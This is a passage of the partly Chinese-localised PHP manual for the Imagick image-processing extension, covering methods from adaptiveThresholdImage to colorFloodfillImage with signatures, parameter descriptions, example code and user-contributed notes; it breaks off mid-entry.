Selects an individual threshold for each pixel based on the range of intensity values in its local neighborhood. This allows for thresholding of an image whose global intensity histogram doesn't contain distinctive peaks.

参数

width

Width of the local neighborhood.

height

Height of the local neighborhood.

offset

The mean offset

返回值

成功时返回 true。

示例

Example #1 Imagick::adaptiveThresholdImage()

<?php
function adaptiveThresholdImage($imagePath, $width, $height, $adaptiveOffset) {
$imagick = new \Imagick(realpath($imagePath));
$adaptiveOffsetQuantum = intval($adaptiveOffset * \Imagick::getQuantum());
$imagick->adaptiveThresholdImage($width, $height, $adaptiveOffsetQuantum);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Adds new image to Imagick object image list

  • ? Imagick::adaptiveThresholdImage
  • Imagick::addNoiseImage ?
  • PHP Manual
  • Imagick
  • Adds new image to Imagick object image list

Imagick::addImage

(PECL imagick 2, PECL imagick 3)

Imagick::addImage — Adds new image to Imagick object image list

说明

public Imagick::addImage(Imagick $source): bool

Adds new image to Imagick object from the current position of the source object. After the operation iterator position is moved at the end of the list.

参数

source

The source Imagick object

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

bernie at dakotanetwork dot com 29-Nov-2011 03:42
create a favicon.ico with multiple resolutions

<?php

$src_img = new Imagick("src_img.png");
$icon = new Imagick();
$icon->setFormat("ico");

$geo=$src_img->getImageGeometry();

$size_w=$geo['width'];
$size_h=$geo['height'];

if (128/$size_w*$size_h>128) {
  $src_img->scaleImage(128,0);
} else {
  $src_img->scaleImage(0,128);
}

$src_img->cropImage(128, 128, 0, 0);

$clone = $src_img->clone();
$clone->scaleImage(16,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(32,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(64,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(128,0);
$icon->addImage($clone);

$icon->writeImages("favicon.ico", true);

$src_img->destroy();
$icon->destroy();
$clone->destroy();

?>


Adds random noise to the image

  • ? Imagick::addImage
  • Imagick::affineTransformImage ?
  • PHP Manual
  • Imagick
  • Adds random noise to the image

Imagick::addNoiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::addNoiseImage — Adds random noise to the image

说明

public Imagick::addNoiseImage(int $noise_type, int $channel = Imagick::CHANNEL_DEFAULT): bool

Adds random noise to the image.

参数

noise_type

The type of the noise. Refer to this list of noise constants.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

示例

Example #1 Imagick::addNoiseImage()

<?php
function addNoiseImage($noiseType, $imagePath, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->addNoiseImage($noiseType, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Transforms an image

  • ? Imagick::addNoiseImage
  • Imagick::animateImages ?
  • PHP Manual
  • Imagick
  • Transforms an image

Imagick::affineTransformImage

(PECL imagick 2, PECL imagick 3)

Imagick::affineTransformImage — Transforms an image

说明

public Imagick::affineTransformImage(ImagickDraw $matrix): bool

Transforms an image as dictated by the affine matrix.

参数

matrix

The affine matrix

返回值

成功时返回 true。

示例

Example #1 Imagick::affineTransformImage()

<?php
function affineTransformImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$draw = new \ImagickDraw();

$angle = deg2rad(40);

$affineRotate = array(
"sx" => cos($angle), "sy" => cos($angle),
"rx" => sin($angle), "ry" => -sin($angle),
"tx" => 0, "ty" => 0,
);

$draw->affine($affineRotate);

$imagick->affineTransformImage($draw);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 19-Feb-2020 08:37
This function is obsolete. Use distortImage() instead, with the affine transformation constant, and an array of six values, sx, rx, ry, sy, tx, ty.
peter dot e dot lind at gmail dot com 30-Dec-2014 08:27
This method has not been properly implemented it seems - it has no effect whatsoever on the image.


Animates an image or images

  • ? Imagick::affineTransformImage
  • Imagick::annotateImage ?
  • PHP Manual
  • Imagick
  • Animates an image or images

Imagick::animateImages

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::animateImages — Animates an image or images

说明

public Imagick::animateImages(string $x_server): bool

This method animates the image onto a local or remote X server. This method is not available on Windows. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

x_server

X server address

返回值

成功时返回 true。

参见

  • Imagick::displayImage() - Displays an image

User Contributed Notes

gomadurai at gmail dot com 14-Aug-2009 03:31
Below eg shows how to create animated gif
<?php

$multiTIFF = new Imagick();

$mytifspath = "./man"; // your image directory

$files = scandir($mytifspath);

//print_r($files);

/*foreach( $files as $f )
{*/

for($i=2;$i<6;$i++)
{
    echo $files[$i];

    echo "<br>";
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath."/".$files[$i]);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi423432.gif', true); // combine all image into one single image

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.gif', false);

?>


Annotates an image with text

  • ? Imagick::animateImages
  • Imagick::appendImages ?
  • PHP Manual
  • Imagick
  • Annotates an image with text

Imagick::annotateImage

(PECL imagick 2, PECL imagick 3)

Imagick::annotateImage — Annotates an image with text

说明

public Imagick::annotateImage(
ImagickDraw $draw_settings,
float $x,
float $y,
float $angle,
string $text
): bool

Annotates an image with text.

参数

draw_settings

The ImagickDraw object that contains settings for drawing the text

x

Horizontal offset in pixels to the left of text

y

Vertical offset in pixels to the baseline of text

angle

The angle at which to write the text

text

The string to draw

返回值

成功时返回 true。

示例

Example #1 Using Imagick::annotateImage():

Annotate text on an empty image

<?php
/* Create some objects */
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel( 'gray' );

/* New image */
$image->newImage(800, 75, $pixel);

/* Black text */
$draw->setFillColor('black');

/* Font properties */
$draw->setFont('Bookman-DemiItalic');
$draw->setFontSize( 30 );

/* Create text */
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

/* Give image a format */
$image->setImageFormat('png');

/* Output the image with headers */
header('Content-type: image/png');
echo $image;

?>

参见

  • ImagickDraw::annotation() - Draws text on the image
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text

User Contributed Notes

yakuza88 at op dot pl 26-Aug-2016 07:30
Does not work with CMYK color values and images. Only RGB.
www dot query at gmail dot com 08-Sep-2011 08:13
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox');

If the third parameter, the 'Y' value, is 0, the text will be invisible because the text is printed ABOVE the image - not on the image.

The solution is to start, depending on your chosen font size, with a Y value of about 40 and experiment.

[Also:]

When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php
   $picin = new Imagick($pic1);
   $picin->scaleimage(800,0);
   $height = $picin->getimageheight();

   $draw = new ImagickDraw();
   $draw->setFillColor('#ffff00');
   $draw->setFont('Eurostile');
   $draw->setFontSize(21);
   $draw->setTextUnderColor('#ff000088');
   $picin->annotateImage($draw,40,$height-10,0,"Hallo");

   $picin->writeimage($pic6);
?>

The example code produces yellow text on a semi-transparent red background.

$pic1 and $pic6 were previously defined as directory/file strings.
alan at ridersite dot org 23-Aug-2007 12:37
If ImagickDraw::setGravity ( int $gravity ) has been set, e,g; with $gravity= imagick::GRAVITY_CENTER.

Then, the x and y values offset the text from where the gravity setting would have placed it.

If the example included: $draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

The text would be rendered to the right 10px and down 45px from the center.

Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.


Append a set of images

  • ? Imagick::annotateImage
  • Imagick::autoLevelImage ?
  • PHP Manual
  • Imagick
  • Append a set of images

Imagick::appendImages

(PECL imagick 2, PECL imagick 3)

Imagick::appendImages — Append a set of images

说明

public Imagick::appendImages(bool $stack): Imagick

Append a set of images into one larger image.

参数

stack

Whether to stack the images vertically. By default (or if false is specified) images are stacked left-to-right. If stack is true, images are stacked top-to-bottom.

返回值

Returns Imagick instance on success.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::appendImages() example

<?php

/* Create new imagick object */
$im = new Imagick();

/* create red, green and blue images */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Append the images into one */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Output the image */
$combined->setImageFormat("png");
header("Content-Type: image/png");
echo $combined;
?>

以上示例的输出类似于：

Output of example : Imagick::appendImages()

User Contributed Notes

adao at adao dot eti dot br 30-Sep-2014 12:59
# change $ima to $ima->getimagesblob()

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima->getimagesblob();
?>
Anonymous 14-Mar-2014 05:08
Sometimes when running this code on a long running apache24 instance on a server with minimal memory the final "echo $ima;" returns an empty string.

Doing an "apache graceful" seems to clear this up.  There appears to be no other way to correct OR DETECT this problem. Suckky.
Brandon 12-Nov-2009 12:56
# How to combine a multi-page pdf file into a single long image:

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima;
?>


Adjusts the levels of a particular image channel

  • ? Imagick::appendImages
  • Imagick::averageImages ?
  • PHP Manual
  • Imagick
  • Adjusts the levels of a particular image channel

Imagick::autoLevelImage

(PECL imagick 3 >= 3.3.0)

Imagick::autoLevelImage — Adjusts the levels of a particular image channel

说明

public Imagick::autoLevelImage(int $channel = Imagick::CHANNEL_DEFAULT): bool

Adjusts the levels of a particular image channel by scaling the minimum and maximum values to the full quantum range.

参数

channel

Which channel should the auto-levelling should be done on.

返回值

成功时返回 true。

示例

Example #1 Imagick::autoLevelImage()

<?php
function autoLevelImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->autoLevelImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Average a set of images

  • ? Imagick::autoLevelImage
  • Imagick::blackThresholdImage ?
  • PHP Manual
  • Imagick
  • Average a set of images

Imagick::averageImages

(PECL imagick 2, PECL imagick 3)

Imagick::averageImages — Average a set of images

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::averageImages(): Imagick

Average a set of images.

参数

此函数没有参数。

返回值

Returns a new Imagick object on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Forces all pixels below the threshold into black

  • ? Imagick::averageImages
  • Imagick::blueShiftImage ?
  • PHP Manual
  • Imagick
  • Forces all pixels below the threshold into black

Imagick::blackThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::blackThresholdImage — Forces all pixels below the threshold into black

说明

public Imagick::blackThresholdImage(mixed $threshold): bool

Is like Imagick::thresholdImage() but forces all pixels below the threshold into black while leaving all pixels above the threshold unchanged.

参数

threshold

The threshold below which everything turns black

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

示例

Example #1 Imagick::blackThresholdImage()

<?php
function blackThresholdImage($imagePath, $thresholdColor) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->blackthresholdimage($thresholdColor);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Iddles 06-Jul-2011 05:35
You need to pass this function a colour:

<?php

$img->blackThresholdImage( "#FFFFFF" );

?>

E.g. this blackens any pixel which isn't pure white.
elmer at web-axis dot net 30-Nov-2008 03:33
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->blackThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Mutes the colors of the image

  • ? Imagick::blackThresholdImage
  • Imagick::blurImage ?
  • PHP Manual
  • Imagick
  • Mutes the colors of the image

Imagick::blueShiftImage

(PECL imagick 3 >= 3.3.0)

Imagick::blueShiftImage — Mutes the colors of the image

说明

public Imagick::blueShiftImage(float $factor = 1.5): bool

Mutes the colors of the image to simulate a scene at nighttime in the moonlight.

参数

factor

返回值

成功时返回 true。

示例

Example #1 Imagick::blueShiftImage()

<?php
function blueShiftImage($imagePath, $blueShift) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->blueShiftImage($blueShift);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Adds blur filter to image

  • ? Imagick::blueShiftImage
  • Imagick::borderImage ?
  • PHP Manual
  • Imagick
  • Adds blur filter to image

Imagick::blurImage

(PECL imagick 2, PECL imagick 3)

Imagick::blurImage — Adds blur filter to image

说明

public Imagick::blurImage(float $radius, float $sigma, int $channel = ?): bool

Adds blur filter to image. Optional third parameter to blur a specific channel.

参数

radius

Blur radius

sigma

Standard deviation

channel

The Channeltype constant. When not supplied, all channels are blurred.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::blurImage():

Blur an image, then display to the browser.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->blurImage(5,3);
echo $image;

?>

参见

  • Imagick::adaptiveBlurImage() - Adds adaptive blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.


Surrounds the image with a border

  • ? Imagick::blurImage
  • Imagick::brightnessContrastImage ?
  • PHP Manual
  • Imagick
  • Surrounds the image with a border

Imagick::borderImage

(PECL imagick 2, PECL imagick 3)

Imagick::borderImage — Surrounds the image with a border

说明

public Imagick::borderImage(mixed $bordercolor, int $width, int $height): bool

Surrounds the image with a border of the color defined by the bordercolor ImagickPixel object.

参数

bordercolor

ImagickPixel object or a string containing the border color

width

Border width

height

Border height

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

示例

Example #1 Imagick::borderImage()

<?php
function borderImage($imagePath, $color, $width, $height) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->borderImage($color, $width, $height);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

rosh3000 at gmail dot com 06-Jul-2015 03:52
To  get an image with exact dimensions (i.e. add whitespace) use with borderImage:
$desired_width = 1000;
$desired_height = 1000;

 $image->scaleImage($desired_width,$desired_height , true);
 $image->borderImage('white', ($image->getImageWidth() - $desired_width) / 2,($image->getImageHeight() - $desired_height ) / 2);


Change the brightness and/or contrast of an image

  • ? Imagick::borderImage
  • Imagick::charcoalImage ?
  • PHP Manual
  • Imagick
  • Change the brightness and/or contrast of an image

Imagick::brightnessContrastImage

(PECL imagick 3 >= 3.3.0)

Imagick::brightnessContrastImage — Change the brightness and/or contrast of an image

说明

public Imagick::brightnessContrastImage(float $brightness, float $contrast, int $channel = Imagick::CHANNEL_DEFAULT): bool

Change the brightness and/or contrast of an image. It converts the brightness and contrast parameters into slope and intercept and calls a polynomical function to apply to the image.

参数

brightness

contrast

channel

返回值

成功时返回 true。

示例

Example #1 Imagick::brightnessContrastImage()

<?php
function brightnessContrastImage($imagePath, $brightness, $contrast, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->brightnessContrastImage($brightness, $contrast, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Simulates a charcoal drawing

  • ? Imagick::brightnessContrastImage
  • Imagick::chopImage ?
  • PHP Manual
  • Imagick
  • Simulates a charcoal drawing

Imagick::charcoalImage

(PECL imagick 2, PECL imagick 3)

Imagick::charcoalImage — Simulates a charcoal drawing

说明

public Imagick::charcoalImage(float $radius, float $sigma): bool

Simulates a charcoal drawing.

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels

返回值

成功时返回 true。

示例

Example #1 Imagick::charcoalImage()

<?php
function charcoalImage($imagePath, $radius, $sigma) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->charcoalImage($radius, $sigma);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

holdoffhunger at gmail dot com 11-Apr-2012 11:13
The parameters for this function are really scary.  Radius of the Gaussian and Standard Deviation of the Gaussian?  After playing with it for a little bit, I think I put it together.  The Gaussian is the "brush" (in Gimp/Photoshop jargin), the radius is simply the radius of the brush, and the standard deviation is the level of variation among the sizes of the brush imprints.  The $radius parameter can be anything from 0 to as high a number as you can think, but once you beyond 10, 20, or 30 pixels, depending on the image size, the whole image gets blurred beyond useful recognition.  The $sigma, being the standard deviation, should be smaller than your radius to get the desired effect.  Think of it as "Charcoal Brushes of $radius Pixels Size, with each brush being as much as $sigma Pixels bigger or smaller than that."

For an average 500 x 500 pixel image, you'll probably want a $radius of 3 to 5 and a $sigma of 1 to 3, but you can go as far as 10 pixels generally before the image is blurred beyond recognition.  (At the moment, $radius: 5 / $sigma: 2 is the perfect blend for this 400x400 image that I'm working on right now.)

There was not too help from the official documentation site for this project, either: http://www.imagemagick.org/RMagick/doc/image1.html .  The authors there note: "You can alter the intensity of the effect by changing the radius and sigma arguments."  So, my description here of the functioning is based mostly on experience rather than documentation, which is difficult to find.

The following is the entire code for applying the effect to an image.  This code will open the specified file, it will apply the charcoalImage effect to it, and then it will save it to another specified file.  The arguments are served up through POST data, and the only functions of the ImageMagick class that are used are the readImageFile, charcoalImage, and writeImageFile, as so :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Inbound Data -- Function Parameters
        // --------------------------------------------------

    $inbound_gaussian_radius = $_POST['radius_of_gaussian'];
    $inbound_standard_deviation = $_POST['standard_deviation_of_gaussian'];

        // Grab Inbound Data -- Read-File and Write-File
        // --------------------------------------------------

    $filename_for_function = $_POST['file_target'];
    $inbound_save_as_filename = $_POST['saveable_result_file'];

        // Grab Image File Data
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $filename_for_function;

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->charcoalImage($inbound_gaussian_radius, $inbound_standard_deviation);

        // Save File
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $inbound_save_as_filename;

    $file_handle_for_saving_image_file = fopen($file_to_grab_with_location, 'a+');

        // Write File
        // ---------------------------------------------

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Removes a region of an image and trims

  • ? Imagick::charcoalImage
  • Imagick::clampImage ?
  • PHP Manual
  • Imagick
  • Removes a region of an image and trims

Imagick::chopImage

(PECL imagick 2, PECL imagick 3)

Imagick::chopImage — Removes a region of an image and trims

说明

public Imagick::chopImage(
int $width,
int $height,
int $x,
int $y
): bool

Removes a region of an image and collapses the image to occupy the removed portion.

参数

width

Width of the chopped area

height

Height of the chopped area

x

X origo of the chopped area

y

Y origo of the chopped area

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::chopImage():

Example of using Imagick::chopImage

<?php
/* Create some objects */
$image = new Imagick();
$pixel = new ImagickPixel( 'gray' );

/* New image */
$image->newImage(400, 200, $pixel);

/* Chop image */
$image->chopImage(200, 200, 0, 0);

/* Give image a format */
$image->setImageFormat('png');

/* Output the image with headers */
header('Content-type: image/png');
echo $image;

?>

参见

  • Imagick::cropImage() - 截图图片的一块区域

User Contributed Notes

There are no user contributed notes for this page.


Restricts the color range from 0 to the quantum depth.

  • ? Imagick::chopImage
  • Imagick::clear ?
  • PHP Manual
  • Imagick
  • Restricts the color range from 0 to the quantum depth.

Imagick::clampImage

(PECL imagick 3 >= 3.3.0)

Imagick::clampImage — Restricts the color range from 0 to the quantum depth.

说明

public Imagick::clampImage(int $channel = Imagick::CHANNEL_DEFAULT): bool

Restricts the color range from 0 to the quantum depth.

参数

channel

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Clears all resources associated to Imagick object

  • ? Imagick::clampImage
  • Imagick::clipImage ?
  • PHP Manual
  • Imagick
  • Clears all resources associated to Imagick object

Imagick::clear

(PECL imagick 2, PECL imagick 3)

Imagick::clear — Clears all resources associated to Imagick object

说明

public Imagick::clear(): bool

Clears all resources associated to Imagick object

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

kd0bpv at gmail dot com 05-Mar-2014 10:31
Imagick::destroy() has been deprecated in favor of Imagick::clear().
admin at dinacel dot com 16-Jun-2013 03:18
Destroy and clear methods seem to do exactly the same thing
@see http://svn.php.net/viewvc/pecl/imagick/trunk/imagick_class.c?view=markup (l.3066 & l.3087)

The code is duplicated, they do the same thing a bit differently.
markus dot s dot schmitz at gmail dot com 11-Dec-2012 08:46
One might be suprised that there seems to be no difference between:

<?php
$imagick = new Imagick();
$imagick->clear();
$imagick->readImage('myfile.jpg');
?>

and

<?php
$imagick = new Imagick();
$imagick->destroy();
$imagick->readImage('myfile.jpg');
?>

Both functions reset all options and clear all used resources so you might want to use either one of them.
See also: http://php.net/manual/en/imagick.destroy.php


Clips along the first path from the 8BIM profile

  • ? Imagick::clear
  • Imagick::clipImagePath ?
  • PHP Manual
  • Imagick
  • Clips along the first path from the 8BIM profile

Imagick::clipImage

(PECL imagick 2, PECL imagick 3)

Imagick::clipImage — Clips along the first path from the 8BIM profile

说明

public Imagick::clipImage(): bool

Clips along the first path from the 8BIM profile, if present.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Clips along the named paths from the 8BIM profile, if present

  • ? Imagick::clipImage
  • Imagick::clipPathImage ?
  • PHP Manual
  • Imagick
  • Clips along the named paths from the 8BIM profile, if present

Imagick::clipImagePath

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::clipImagePath — Clips along the named paths from the 8BIM profile, if present

说明

public Imagick::clipImagePath(string $pathname, string $inside): void

Clips along the named paths from the 8BIM profile, if present. Later operations take effect inside the path. Id may be a number if preceded with #, to work on a numbered path, e.g., "#1" to use the first path.

Warning

本函数还未编写文档，仅有参数列表。

参数

pathname

inside

返回值

User Contributed Notes

There are no user contributed notes for this page.


Clips along the named paths from the 8BIM profile

  • ? Imagick::clipImagePath
  • Imagick::clone ?
  • PHP Manual
  • Imagick
  • Clips along the named paths from the 8BIM profile

Imagick::clipPathImage

(PECL imagick 2, PECL imagick 3)

Imagick::clipPathImage — Clips along the named paths from the 8BIM profile

说明

public Imagick::clipPathImage(string $pathname, bool $inside): bool

Clips along the named paths from the 8BIM profile, if present. Later operations take effect inside the path. It may be a number if preceded with #, to work on a numbered path, e.g., "#1" to use the first path.

参数

pathname

The name of the path

inside

If true later operations take effect inside clipping path. Otherwise later operations take effect outside clipping path.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Coleman Nitroy 14-Mar-2008 05:15
I found Imagick::clipPathImage and Imagic::clipImage did not work as I had expected. I thought they would just clip the path and throw away the extra data and you are done. Not the case.

Here is how I was able to use a clipping path:

<?php
      $img = new Imagick("/Path/To/Test/Image.psd");
      $geometry = $img->getImageGeometry();

      // Uses the first path as the clipping path
      $img->clipPathImage("#1", false);

      // Fill the clipped part with a color
      $draw = new ImagickDraw();
      $draw->setFillColor("#000000");
      $draw->color(0,0, imagick::PAINT_RESET);
      $img->drawImage($draw);

      // Composite the clipped image with the old image. Set the color of the composite to any color you want to be the outside part.
      $composite = new Imagick($path);
      $composite->newImage( $geometry['width'], $geometry['height'], new ImagickPixel("white"), 'png');
      $composite->compositeImage($img, imagick::COMPOSITE_COPY, 0, 0);
?>

Then doing any resizing or creating thumbnails from the resulting image  disregarded all the previous commands so I "saved" it and started with a new Imagick object

<?php
      // Copy the image so clip is "saved"
      $clipped = new Imagick();
      $clipped->readImageBlob($composite->getImageBlob());
?>

I'm sure there is a simpler way, but this took me awhile to get right and there were some hurdles to cross so I hope it is able to help someone on the way.

This is all the convert equivalent of:

$ convert Test.psd -fill white -colorspace rgb -draw "color 0 0 reset" -clip -colorspace rgb -draw "Image Copy 0,0 0,0 'Test.psd'" OutputFile.png


Makes an exact copy of the Imagick object

  • ? Imagick::clipPathImage
  • Imagick::clutImage ?
  • PHP Manual
  • Imagick
  • Makes an exact copy of the Imagick object

Imagick::clone

(PECL imagick 2, PECL imagick 3)

Imagick::clone — Makes an exact copy of the Imagick object

说明

public Imagick::clone(): Imagick

Makes an exact copy of the Imagick object.

Warning

This function has been DEPRECATED as of imagick 3.1.0 in favour of using the clone keyword.

参数

此函数没有参数。

返回值

A copy of the Imagick object is returned.

更新日志

版本 | 说明
PECL imagick 3.1.0 | The method was deprecated in favour of the clone keyword.

示例

Example #1 Imagick object cloning in different versions of imagick

<?php
// Cloning an Imagick object in imagick 2.x and 3.0:
$newImage = $image->clone();

// Cloning an Imagick object from 3.1.0 on:
$newImage = clone $image;
?>

User Contributed Notes

There are no user contributed notes for this page.


Replaces colors in the image

  • ? Imagick::clone
  • Imagick::coalesceImages ?
  • PHP Manual
  • Imagick
  • Replaces colors in the image

Imagick::clutImage

(PECL imagick 2, PECL imagick 3)

Imagick::clutImage — Replaces colors in the image

说明

public Imagick::clutImage(Imagick $lookup_table, int $channel = Imagick::CHANNEL_DEFAULT): bool

Replaces colors in the image from a color lookup table. Optional second parameter to replace colors in a specific channel. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

lookup_table

Imagick object containing the color lookup table

channel

The Channeltype constant. When not supplied, default channels are replaced.

返回值

成功时返回 true。

示例

Example #1 Using Imagick::clutImage():

Replace colors in the image from a color lookup table.

<?php
$image = new Imagick('test.jpg');
$clut = new Imagick();
$clut->newImage(1, 1, new ImagickPixel('black'));
$image->clutImage($clut);
$image->writeImage('test_out.jpg');
?>

参见

  • Imagick::adaptiveBlurImage() - Adds adaptive blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.


Composites a set of images

  • ? Imagick::clutImage
  • Imagick::colorFloodfillImage ?
  • PHP Manual
  • Imagick
  • Composites a set of images

Imagick::coalesceImages

(PECL imagick 2, PECL imagick 3)

Imagick::coalesceImages — Composites a set of images

说明

public Imagick::coalesceImages(): Imagick

Composites a set of images while respecting any page offsets and disposal methods. GIF, MIFF, and MNG animation sequences typically start with an image background and each subsequent image varies in size and offset. Returns a new Imagick object where each image in the sequence is the same size as the first and composited with the next image in the sequence.

参数

此函数没有参数。

返回值

Returns a new Imagick object on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Anony 08-Feb-2016 04:09
If you wish to open an animated gif, don't ping the image with $imagick->pingImage(), you will get the same amount of frames you have in the gif, added to the start - but they're all black with stripes. So you have then double the amounts of frames the gif actually has.
dikirill 08-Mar-2013 04:51
I tried examples below, and couldn't make them work. And found that version of my php-imagick extension is 3.1.0RC1, and looks like it's buggy in function "writeImages", downgrade to 3.0.1 helped me.
ktr 17-Oct-2012 08:06
resize and/or crop an animated GIF

<?php
$image = new Imagick($file_src);

$image = $image->coalesceImages();

foreach ($image as $frame) {
  $frame->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
  $frame->thumbnailImage($size_w, $size_h);
  $frame->setImagePage($size_w, $size_h, 0, 0);
}

$image = $image->deconstructImages();
$image->writeImages($file_dst, true);
?>
vikomic at gmail dot com 02-May-2011 03:58
Here goes an exaple how to resize GIF-s.

<?php
$imagick = new Imagick("original.gif");

$format = $imagick->getImageFormat();
if ($format == 'GIF') {
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(120, 120, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_120x120.gif', true);

  // can be added some more gifs
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(100, 100, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_100x100.gif', true);
}

$imagick->clear();
$imagick->destroy();
?>

You can use any resize method (resizeImage) with this example.

This example works fine with *imagick module version 2.2.1-dev*, but doesn't work correctly with *imagick module version 3.0.1*.


Changes the color value of any pixel that matches target

  • ? Imagick::coalesceImages
  • Imagick::colorizeImage ?
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::colorFloodfillImage

(PECL imagick 2, PECL imagick 3)

Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::colorFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool

Changes the color value of any pixel that matches target and is an immediate neighbor.

参数

fill

